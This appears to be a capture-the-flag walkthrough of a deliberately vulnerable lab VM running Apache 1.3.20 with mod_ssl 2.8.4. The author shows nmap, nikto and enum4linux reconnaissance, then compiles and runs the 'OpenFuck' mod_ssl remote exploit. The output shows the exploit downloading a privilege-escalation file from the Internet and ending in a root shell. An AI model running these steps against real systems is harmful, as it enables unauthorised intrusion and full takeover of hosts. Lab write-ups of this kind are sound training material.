Intro

The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player).

The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

Level 1

Reconnaissance. First, we need to find the IP assigned through DHCP to the machine. We run a simple host discovery scan:

$ nmap -sP 192.168.252.1/24
Nmap scan report for 192.168.252.131
Host is up (0.00033s latency).
MAC Address: 00:0C:29:7C:3A:16 (VMware)
...

Next step, finding open ports and fingerprinting services running behind them:

root@kali:~# nmap -A -sS -T5 192.168.252.131

Starting Nmap 7.50 ( https://nmap.org ) at 2017-09-07 17:47 BST
Nmap scan report for 192.168.252.131
Host is up (0.00046s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 2.9p2 (protocol 1.99)
|_sshv1: Server supports SSHv1
80/tcp   open  http       Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp  open  rpcbind    2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open  status     1 (RPC #100024)

So we know the host runs SSH (OpenSSH *2.9p2* (protocol 1.99)), HTTP (Apache httpd *1.3.20* *mod_ssl/2.8.4* *OpenSSL/0.9.6b*) samba, and HTTPS. We connect to the web server with Firefox and see the default installation page of Apache. We can run a folder discovery attack and Nikito:

# dirb http://192.168.252.131 /usr/share/dirb/wordlists/big.txt
# nikto -h 192.168.252.131

While it runs, we enumerate all the SMB mounts using:

$ enum4linux 192.168.252.131
$ nbtscan 192.168.252.131

We don't find anything useful so far. The directory enumeration attack finished and also did not find anything interesting. However, Nikto output the following:

+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE

The mod_ssl bug seems more than interesting, quick search finds that Kali has the exploit out the box:

# searchsploit mod_ssl 2.8
---------------------------------------------------------------------------------------- ----------------------------------
 Exploit Title                                                                |  Path
                                                                           | (/usr/share/exploitdb/platforms/)
---------------------------------------------------------------------------------------- ----------------------------------
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow                            | multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Exploit                           | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Exploit

The exploit is old and does not run out of the box, you need to set the headers

#include <openssl/rc4.h>
#include <openssl/md5.h> 

And to install libssl:

$ apt-get install libssl1.0-dev; gcc  764.c -o 764 -lcrypto

Then find the right offset for the operating system-apache version:

# ./764 |grep 1.3.20 |grep Red
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

And run it. I read the exploit and it downloads a shellcode from the Internet, so I had to set the network as bridged rather than host only as I had earlier to prevent exposing the vulnerable VM to the local network.

./764 0x6b 192.168.0.8
....
14:42:14 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]

/usr/bin/ld: cannot open output file p: Permission denied
collect2: ld returned 1 exit status
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Challenge finished, we got root.